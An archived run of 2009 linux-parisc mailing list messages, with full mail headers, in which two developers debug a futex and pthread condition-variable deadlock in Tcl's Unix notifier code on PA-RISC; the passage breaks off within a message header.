        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=PB/BJvdB/tg8BTAL/sbouJqujZXcpsuK6DuykLEIoc4=;
        b=jcp57dD2/fpjysUFVrydA/584WeU3ANgo8n482cF7MNWzSN/YtaI88+pZCFMDD0goU
         2SSUCyaNmxwHT4XexPMNbm2A2Mes+kTkh+1uISoR2aUULOER0T1ueLIG7lr15UBWvKC1
         PXL7Ofsf+vm/Vau2ElEQRc/CaW7QBfcugNxig=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=T9JHbcSFQHJ5WyLDQCu6Cm+Vflzb0q7YYp+FOWOpYGHDgSjpF8lGKw3c9necjTMf4A
         fHfgf9b/7eaCtMFqlA4lHEvSMzv2tAlof2yzM7CBT0kUPv29pIM/+1gOZh+POV/pxqfU
         3jxtdVUO2i6qtBNA4vsWKBt8f/4ObnqjreFGU=
Original-Received: by 10.204.36.197 with SMTP id u5mr7046580bkd.81.1261580492768; Wed, 
	23 Dec 2009 07:01:32 -0800 (PST)
In-Reply-To: <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 342dcf0b027ae383
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2487>

On Tue, Dec 22, 2009 at 5:05 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> I think we need to step back from the edge and ask ourselves what
>> Tcl_WaitForEvent() is trying to do with the locks.
>>
>> Do you know?
>
> In unix/tclUnixNotify.c:
>
> #ifdef TCL_THREADS
> =A0 =A0/*
> =A0 =A0 * Place this thread on the list of interested threads, signal=
 the
> =A0 =A0 * notifier thread, and wait for a response or a timeout.
> =A0 =A0 */

There will never be a timeout if you call pthread_mutex_lock as the
underlying operation. So this comment is a bit odd?

> =A0 =A0Tcl_MutexLock(&notifierMutex);
> =A0 =A0...
> #endif
>
> =A0 =A0...
>
> #ifdef TCL_THREADS
> =A0 =A0Tcl_MutexUnlock(&notifierMutex);
> #endif /* TCL_THREADS */
> =A0 =A0return 0;
> }
>
> There may be a timed wait while holding the lock. =A0Something is bro=
ken
> in the tcl/expect handling of timed waits as there were a couple of
> compile timeouts for compilations that shouldn't have timed out.

There is no timed wait possible, you have called pthread_mutex_lock,
instead of pthread_mutex_timedlock.

What are Tcl's expectations here? It looks like we are stuck in
libtcl.so for both threads, which are trying to access this event
queue.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 11:15:05 -0500
Organization: nrc.ca
Lines: 51
Approved: news@gmane.org
Message-ID: <20091223161504.GA13299@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca> <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261584922 24707 80.91.229.12 (23 Dec 2009 16:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 16:15:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 17:15:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNTrm-0007DM-G3
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 17:15:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755729AbZLWQPK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 11:15:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756140AbZLWQPK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 11:15:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3457 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755729AbZLWQPH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 11:15:07 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 888484FA3; Wed, 23 Dec 2009 11:15:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2488>

On Wed, 23 Dec 2009, Carlos O'Donell wrote:

> On Tue, Dec 22, 2009 at 5:05 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> I think we need to step back from the edge and ask ourselves what
> >> Tcl_WaitForEvent() is trying to do with the locks.
> >>
> >> Do you know?
> >
> > In unix/tclUnixNotify.c:
> >
> > #ifdef TCL_THREADS
> > =A0 =A0/*
> > =A0 =A0 * Place this thread on the list of interested threads, sign=
al the
> > =A0 =A0 * notifier thread, and wait for a response or a timeout.
> > =A0 =A0 */
>=20
> There will never be a timeout if you call pthread_mutex_lock as the
> underlying operation. So this comment is a bit odd?

The wait is done by Tcl_ConditionWait.  It uses  pthread_cond_wait
if timePtr is NULL, otherwise it uses
pthread_cond_timedwait(pcondPtr, pmutexPtr, &ptime).  Do these work
holding a lock?  Any chance that these try to take a lock?

It sems like bad coding to do a wait holding a lock.  In any case,
I don't think this is the problem.

As you noted, the lock is held by the other thread.  The return pc is
beyond Tcl_WaitForEvent.  The only users of the notifierMutex mutex
are in tclUnixNotfy.c.  The only interesting thing done holding the
notifierMutex mutex in code after Tcl_WaitForEvent is to call
Tcl_ConditionNotify.  It calls pthread_cond_broadcast if the condition
pointer isn't NULL.

Could this deadlock?  It's hard to see how it could since the mutex
doesn't seem to be involved.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 11:48:28 -0500
Organization: nrc.ca
Lines: 24
Approved: news@gmane.org
Message-ID: <20091223164828.GA13631@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca> <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com> <20091223161504.GA13299@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261587091 31815 80.91.229.12 (23 Dec 2009 16:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 16:51:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 17:51:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNUNz-0004es-AG
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 17:48:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756463AbZLWQsb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 11:48:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756469AbZLWQsb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 11:48:31 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3460 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756409AbZLWQsb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 11:48:31 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A768D4FA3; Wed, 23 Dec 2009 11:48:29 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20091223161504.GA13299@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2489>

On Wed, 23 Dec 2009, John David Anglin wrote:

> As you noted, the lock is held by the other thread.  The return pc is
> beyond Tcl_WaitForEvent.  The only users of the notifierMutex mutex
> are in tclUnixNotfy.c.  The only interesting thing done holding the
> notifierMutex mutex in code after Tcl_WaitForEvent is to call
> Tcl_ConditionNotify.  It calls pthread_cond_broadcast if the condition
> pointer isn't NULL.
> 
> Could this deadlock?  It's hard to see how it could since the mutex
> doesn't seem to be involved.

Actually, I see that the mutex and futex are part of the pthread_cond_t
type, so pthread_cond_broadcast could deadlock if not implemented properly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 15:36:05 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <119aab440912231236i21d932a8x78a991eb019610f2@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
	 <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
	 <20091223161504.GA13299@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261600595 8892 80.91.229.12 (23 Dec 2009 20:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 20:36:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 21:36:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNXwZ-0001sc-Kv
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 21:36:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756113AbZLWUgM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 15:36:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757148AbZLWUgK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 15:36:10 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:62784 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756910AbZLWUgI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 15:36:08 -0500
Original-Received: by bwz27 with SMTP id 27so4987047bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 12:36:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=Djn5r5O6K2N+zXArPaLMm5NFvBxn6jI/ofv85aJSLPA=;
        b=T7cuoj9O5ve7quf4Xq7I7y0Ut1LWJNr7OkQfgFg8XFAYswMTb+WivdzGEz2Dx3meOv
         4iFzYKy4HJbFOcxKnHf4urCqfDCyFsq4x3ctmvy4XB27ufxSx+kpCttTzxu6gn9hU93D
         9XyJwdl+Xr6QaJ5R6TrOHrWVwhoEleuKzaPyI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=cgQO2iclggwD1paPv8B7/ht7OAbCzLxfQ4kaB2bAhONNN2hOO6kRQdD195pDItHwkP
         oGhq5HlSNFx6K+het+x4PVsjcemsQAYpNKb4qafh+LQWl9UhKidg5PKgdOGox+holM/K
         fh5trLvWyT4nYeDJ3CAJcjSnh2gniw+UPcrT8=
Original-Received: by 10.204.7.195 with SMTP id e3mr965880bke.118.1261600565757; Wed, 
	23 Dec 2009 12:36:05 -0800 (PST)
In-Reply-To: <20091223161504.GA13299@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 54c8b14a5e65aa06
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2490>

On Wed, Dec 23, 2009 at 11:15 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> There will never be a timeout if you call pthread_mutex_lock as the
>> underlying operation. So this comment is a bit odd?
>
> The wait is done by Tcl_ConditionWait. =A0It uses =A0pthread_cond_wai=
t
> if timePtr is NULL, otherwise it uses
> pthread_cond_timedwait(pcondPtr, pmutexPtr, &ptime). =A0Do these work
> holding a lock? =A0Any chance that these try to take a lock?

When you call pthread_cond_timedwait you must be holding pmutexPtr.

The call to pthread_cond_timedwait atomically release mutex and cause
the calling thread to sleep on the condition variable cond; atomically
here means "atomically with respect to access by another thread to
the mutex and then the condition variable". Once awoken by a broadcast,
it retakes the mutex pmutexPtr.

The glibc implementation with futexes reads pretty much exactly like
the description here:
http://www.opengroup.org/onlinepubs/000095399/functions/pthread_cond_ti=
medwait.html

> It sems like bad coding to do a wait holding a lock. =A0In any case,
> I don't think this is the problem.

You shouldn't be holding a lock while waiting. The call to
pthread_cond_timedwait
should have released the mutex before sleeping.

> As you noted, the lock is held by the other thread. =A0The return pc =
is
> beyond Tcl_WaitForEvent. =A0The only users of the notifierMutex mutex
> are in tclUnixNotfy.c. =A0The only interesting thing done holding the
> notifierMutex mutex in code after Tcl_WaitForEvent is to call
> Tcl_ConditionNotify. =A0It calls pthread_cond_broadcast if the condit=
ion
> pointer isn't NULL.
> Could this deadlock? =A0It's hard to see how it could since the mutex
> doesn't seem to be involved.

It shouldn't deadlock.

Is this a UP kernel?

Perhaps what I'm not clear about here, is which mutex is the one that
we are stuck on?

Are we stuck on the mutex we want to pass to pthread_cond_timedwait?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 15:39:57 -0500
Organization: nrc.ca
Lines: 31
Approved: news@gmane.org
Message-ID: <20091223203956.GA14732@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca> <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com> <20091223161504.GA13299@hiauly1.hia.nrc.ca> <20091223164828.GA13631@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261600812 9554 80.91.229.12 (23 Dec 2009 20:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 20:40:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 21:40:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNXzz-0003Uu-Rp
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 21:40:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752153AbZLWUj7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 15:39:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756156AbZLWUj7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 15:39:59 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3480 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752153AbZLWUj6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 15:39:58 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B279E4FA3; Wed, 23 Dec 2009 15:39:57 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20091223164828.GA13631@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2491>

On Wed, 23 Dec 2009, John David Anglin wrote:

> On Wed, 23 Dec 2009, John David Anglin wrote:
> 
> > As you noted, the lock is held by the other thread.  The return pc is
> > beyond Tcl_WaitForEvent.  The only users of the notifierMutex mutex
> > are in tclUnixNotfy.c.  The only interesting thing done holding the
> > notifierMutex mutex in code after Tcl_WaitForEvent is to call
> > Tcl_ConditionNotify.  It calls pthread_cond_broadcast if the condition
> > pointer isn't NULL.
> > 
> > Could this deadlock?  It's hard to see how it could since the mutex
> > doesn't seem to be involved.
> 
> Actually, I see that the mutex and futex are part of the pthread_cond_t
> type, so pthread_cond_broadcast could deadlock if not implemented properly.

The deadlock occurs at the third call to Tcl_MutexLock in NotifierThreadProc
(tclUnixNotfy.c:997).  This is in a while(1) loop, so I have to think
the previous call to Tcl_MutexUnlock failed, possibly because of a call
to Tcl_ConditionNotify.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 15:45:22 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
	 <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
	 <20091223161504.GA13299@hiauly1.hia.nrc.ca>
	 <20091223164828.GA13631@hiauly1.hia.nrc.ca>
	 <20091223203956.GA14732@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261601139 10482 80.91.229.12 (23 Dec 2009 20:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 20:45:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 21:45:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNY5G-0005da-57
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 21:45:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755394AbZLWUpZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 15:45:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755067AbZLWUpZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 15:45:25 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:54347 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751889AbZLWUpX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 15:45:23 -0500
Original-Received: by bwz27 with SMTP id 27so4991446bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 12:45:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=2VLciGXYCfoEoHRAISjfDuA8jhe3xAs7VgIKR4DUj6U=;
        b=W8svcg4D8FBX2Jn2ITX95CH4Ut9AInawy7L/9hEaDJRTjrF0OymNhvFWqZv2e7SECX
         /tNPmA+WUQ63zvQPOezMFiCdPUssymL7DOS7XZcnRQK7EurpkgCmDuunronOM3RKONRc
         Ix+fVv8O+D7C36ZXVxGrtmLMWaNv4QdubFDWY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=epCnBzrrW55pbwxKhGk3aqEpWP3SFhL7XLsx32WNAfq1rcQSLezY5g47fgUH6jTFYD
         FLslWd6ZbE7oKwomANawafIhyiVfbCgnHKJ22eZ3Xg3yb3J4dlYp4RWSeB+1ggcwFL23
         J77QZXrw02A2K0nnRQ8NqxwEnqEydlhytsPL0=
Original-Received: by 10.204.7.195 with SMTP id e3mr972804bke.118.1261601122159; Wed, 
	23 Dec 2009 12:45:22 -0800 (PST)
In-Reply-To: <20091223203956.GA14732@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 2ae56206f1ddca83
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2492>

On Wed, Dec 23, 2009 at 3:39 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> The deadlock occurs at the third call to Tcl_MutexLock in NotifierThr=
eadProc
> (tclUnixNotfy.c:997). =A0This is in a while(1) loop, so I have to thi=
nk
> the previous call to Tcl_MutexUnlock failed, possibly because of a ca=
ll
> to Tcl_ConditionNotify.

You might get a better idea if you run this under strace and look at
the futex syscalls being made. You won't see the locks since the fast
path is through the light-weight-syscall compare-and-swap, but you
will see the unlocks, and you can count them.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 15:46:39 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440912231246m3a9f34d8j184e16b7f37dfd11@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
	 <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
	 <20091223161504.GA13299@hiauly1.hia.nrc.ca>
	 <20091223164828.GA13631@hiauly1.hia.nrc.ca>
	 <20091223203956.GA14732@hiauly1.hia.nrc.ca>
	 <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261601217 10707 80.91.229.12 (23 Dec 2009 20:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 20:46:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 21:46:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNY6X-0006Cj-Ii
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 21:46:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754695AbZLWUqn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 15:46:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756805AbZLWUqn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 15:46:43 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:63405 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
